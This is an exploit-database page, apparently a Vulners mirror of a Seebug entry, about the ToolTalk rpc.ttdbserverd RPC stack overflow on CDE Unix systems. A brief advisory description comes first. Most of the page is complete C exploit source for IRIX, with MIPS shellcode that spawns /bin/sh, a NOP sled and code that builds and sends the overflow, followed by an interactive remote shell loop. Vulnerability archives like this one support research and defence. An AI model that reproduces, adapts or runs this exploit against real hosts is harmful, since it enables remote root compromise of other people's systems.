Lucene search
K

Xi Graphics Maximum CDE 1.2.3,TriTeal TED CDE 4.3,Sun Solaris <= 2.5.1 ToolTalk RPC Service Overflow Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

ToolTalk RPC Service Overflow Vulnerability on Sun Solaris and other Unix System

Code

                                                source: http://www.securityfocus.com/bid/122/info
 
An implementation fault in the ToolTalk object database server allows a remote attacker to run arbitrary code as the superuser on hosts supporting the ToolTalk service. The affected program runs on many popular UNIX operating systems supporting CDE and some Open Windows installs.
 
The ToolTalk service allows independently developed applications to communicate with each other by exchanging ToolTalk messages. Using ToolTalk, applications can create open protocols which allow different programs to be interchanged, and new programs to be plugged into the system with minimal reconfiguration.
 
The ToolTalk database server (rpc.ttdbserverd) is an ONC RPC service which manages objects needed for the operation of the ToolTalk service. ToolTalk-enabled processes communicate with each other using RPC calls to this program, which runs on each ToolTalk-enabled host. This program is a standard component of the ToolTalk system, which ships as a standard component of many commercial Unix operating systems. The ToolTalk database server runs as root.
 
Due to an implementation fault in rpc.ttdbserverd, it is possible for a malicious remote client to formulate an RPC message that will cause the server to overflow an automatic variable on the stack. By overwriting activation records stored on the stack, it is possible to force a transfer of control into arbitrary instructions provided by the attacker in the RPC message, and thus gain total control of the server process.
/*## copyright LAST STAGE OF DELIRIUM jul 1998 poland        *://lsd-pl.net/ #*/
/*## rpc.ttdbserverd                                                         #*/

#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;rpc/rpc.h&#62;
#include &#60;netdb.h&#62;
#include &#60;stdio.h&#62;
#include &#60;errno.h&#62;

#define ADRNUM 2000
#define NOPNUM 18000

#define TTDBSERVERD_PROG 100083
#define TTDBSERVERD_VERS 1
#define TTDBSERVERD_ISERASE 7

char findsckcode[]=
    &#34;\x04\x10\xff\xff&#34;       /* bltzal  $zero,&#60;findsckcode&#62;  */
    &#34;\x24\x10\x01\x90&#34;       /* li      $s0,400              */
    &#34;\x22\x11\xff\xb0&#34;       /* addi    $s1,$s0,-80          */
    &#34;\x22\x12\xff\xac&#34;       /* addi    $s2,$s0,-84          */
    &#34;\x22\x0d\xfe\x98&#34;       /* addi    $t5,$s0,-360         */
    &#34;\x03\xed\x68\x20&#34;       /* add     $t5,$ra,$t5          */
    &#34;\x01\xa0\xf0\x09&#34;       /* jalr    $s8,$t5              */

    &#34;\x8f\xeb\xff\xc0&#34;       /* lw      $t3,-64($ra)         */
    &#34;\x31\x6b\xff\xff&#34;       /* andi    $t3,$t3,0xffff       */
    &#34;\x21\x6b\x00\x00&#34;       /* addi    $t3,$t3,0            */
    &#34;\x22\x0d\xfe\xc0&#34;       /* addi    $t5,$s0,-320         */
    &#34;\x11\x60\xff\xf9&#34;       /* beqz    $t3,&#60;findsckcode+20&#62; */

    &#34;\x22\x24\xfe\xd4&#34;       /* addi    $a0,$s1,-300         */
    &#34;\x23\xe5\xff\xc0&#34;       /* addi    $a1,$ra,-64          */
    &#34;\x23\xe6\xff\xbc&#34;       /* addi    $a2,$ra,-68          */
    &#34;\xaf\xf2\xff\xbc&#34;       /* sw      $s2,-68($ra)         */
    &#34;\x24\x02\x04\x45&#34;       /* li      $v0,1093             */
    &#34;\x03\xff\xff\xcc&#34;       /* syscall                      */
    &#34;\x22\x31\xff\xff&#34;       /* addi    $s1,$s1,-1           */
    &#34;\x10\xe0\xff\xf3&#34;       /* beqz    $a3,&#60;findsckcode+28&#62; */
    &#34;\x22\x2b\xfe\xd4&#34;       /* addi    $t3,$s1,-300         */
    &#34;\x1d\x60\xff\xf6&#34;       /* bgzt    $t3,&#60;findsckcode+48&#62; */

    &#34;\x22\x04\xfe\x72&#34;       /* addi    $a0,$s0,-398         */
    &#34;\x24\x02\x03\xee&#34;       /* li      $v0,1006             */
    &#34;\x03\xff\xff\xcc&#34;       /* syscall                      */
    &#34;\x22\x24\xfe\xd5&#34;       /* addi    $a0,$s1,-299         */
    &#34;\x22\x05\xfe\x72&#34;       /* addi    $a1,$s0,-398         */
    &#34;\x24\x02\x04\x11&#34;       /* li      $v0,1041             */
    &#34;\x03\xff\xff\xcc&#34;       /* syscall                      */
    &#34;\x22\x10\xff\xff&#34;       /* addi    $s0,$s0,-1           */
    &#34;\x22\x0b\xfe\x72&#34;       /* addi    $t3,$s0,-398         */
    &#34;\x05\x61\xff\xf6&#34;       /* bgez    $t3,&#60;findsckcode+88&#62; */
;

char shellcode[]=
    &#34;\x04\x10\xff\xff&#34;       /* bltzal  $zero,&#60;shellcode&#62;    */
    &#34;\x24\x02\x03\xf3&#34;       /* li      $v0,1011             */
    &#34;\x23\xff\x01\x14&#34;       /* addi    $ra,$ra,276          */
    &#34;\x23\xe4\xff\x08&#34;       /* addi    $a0,$ra,-248         */
    &#34;\x23\xe5\xff\x10&#34;       /* addi    $a1,$ra,-220         */
    &#34;\xaf\xe4\xff\x10&#34;       /* sw      $a0,-220($ra)        */
    &#34;\xaf\xe0\xff\x14&#34;       /* sw      $zero,-236($ra)      */
    &#34;\xa3\xe0\xff\x0f&#34;       /* sb      $zero,-241($ra)      */
    &#34;\x03\xff\xff\xcc&#34;       /* syscall                      */
    &#34;/bin/sh&#34;
;

char cmdshellcode[]=
    &#34;\x04\x10\xff\xff&#34;       /* bltzal  $zero,&#60;cmdshellcode&#62; */
    &#34;\x24\x02\x03\xf3&#34;       /* li      $v0,1011             */
    &#34;\x23\xff\x08\xf4&#34;       /* addi    $ra,$ra,2292         */
    &#34;\x23\xe4\xf7\x40&#34;       /* addi    $a0,$ra,-2240        */
    &#34;\x23\xe5\xfb\x24&#34;       /* addi    $a1,$ra,-1244        */
    &#34;\xaf\xe4\xfb\x24&#34;       /* sw      $a0,-1244($ra)       */
    &#34;\x23\xe6\xf7\x48&#34;       /* addi    $a2,$ra,-2232        */
    &#34;\xaf\xe6\xfb\x28&#34;       /* sw      $a2,-1240($ra)       */
    &#34;\x23\xe6\xf7\x4c&#34;       /* addi    $a2,$ra,-2228        */
    &#34;\xaf\xe6\xfb\x2c&#34;       /* sw      $a2,-1236($ra)       */
    &#34;\xaf\xe0\xfb\x30&#34;       /* sw      $zero,-1232($ra)     */
    &#34;\xa3\xe0\xf7\x47&#34;       /* sb      $zero,-2233($ra)     */
    &#34;\xa3\xe0\xf7\x4a&#34;       /* sb      $zero,-2230($ra)     */
    &#34;\x02\x04\x8d\x0c&#34;       /* syscall                      */
    &#34;\x01\x08\x40\x25&#34;       /* or      $t0,$t0,$t0          */
    &#34;/bin/sh -c  &#34;
;

static char nop[]=&#34;\x24\x0f\x12\x34&#34;;

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
    if(!xdr_string(xdrs,&obj-&#62;string,~0)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=6,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf(&#34;copyright LAST STAGE OF DELIRIUM jul 1998 poland  //lsd-pl.net/\n&#34;);
    printf(&#34;rpc.ttdbserverd for irix 5.2 5.3 6.2 6.3 6.4 6.5 6.5.2 &#34;);
    printf(&#34;IP:17,19-22,25-28,30,32\n\n&#34;);

    if(argc&#60;2){
        printf(&#34;usage: %s address [-s|-c command] [-p port] [-v 5]\n&#34;,argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],&#34;sc:p:v:&#34;))!=-1){
        switch(c){
        case &#39;s&#39;: flag=1;break;
        case &#39;c&#39;: flag=0;cmd=optarg;break;
        case &#39;p&#39;: port=atoi(optarg);break;
        case &#39;v&#39;: vers=atoi(optarg);
        }
    }

    if(vers==5) *(unsigned long*)address=htonl(0x7fff24f4+2000+9000+32700);
    else *(unsigned long*)address=htonl(0x7fff24f4+2000+9000);

    printf(&#34;adr=0x%08x timeout=%d &#34;,ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror(&#34;error&#34;);exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp-&#62;h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,TTDBSERVERD_PROG,TTDBSERVERD_VERS,&sck,0,0))){
        clnt_pcreateerror(&#34;error&#34;);exit(-1);
    }

    b=buffer;
    for(i=0;i&#60;ADRNUM;i++) *b++=address[i%4];
    for(i=0;i&#60;NOPNUM;i++) *b++=nop[i%4];
    if(flag){
        i=sizeof(struct sockaddr_in);
        if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
            struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
            struct netbuf nb;
            ioctl(sck,((&#39;S&#39;&#60;&#60;8)|2),&#34;sockmod&#34;);
            nb.maxlen=0xffff;
            nb.len=sizeof(struct sockaddr_in);;
            nb.buf=(char*)&adr;
            ioctl(sck,((&#39;T&#39;&#60;&#60;8)|144),&nb);
        }
        n=-ntohs(adr.sin_port);
        printf(&#34;port=%d connected! &#34;,-n);fflush(stdout);

        findsckcode[36+2]=(unsigned char)((n&0xff00)&#62;&#62;8);
        findsckcode[36+3]=(unsigned char)(n&0xff);
        for(i=0;i&#60;strlen(findsckcode);i++) *b++=findsckcode[i];
        for(i=0;i&#60;4;i++) *b++=nop[i%4];
        for(i=0;i&#60;strlen(shellcode);i++) *b++=shellcode[i];
    }else{
        printf(&#34;connected! &#34;);fflush(stdout);
        for(i=0;i&#60;strlen(cmdshellcode);i++) *b++=cmdshellcode[i];
        for(i=0;i&#60;4;i++) *b++=&#39; &#39;;
        for(i=0;i&#60;strlen(cmd);i++) *b++=cmd[i];
    }
    *b++=&#39;:&#39;;
    *b=0;

    req.string=buffer;
    cl-&#62;cl_auth=authunix_create(&#34;localhost&#34;,0,0,0,NULL);
    stat=clnt_call(cl,TTDBSERVERD_ISERASE,xdr_req,&req,xdr_void,NULL,tm);
    printf(&#34;sent!\n&#34;);
    if(!flag) exit(0);

    write(sck,&#34;/bin/uname -a\n&#34;,14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))&#60;1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))&#60;1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21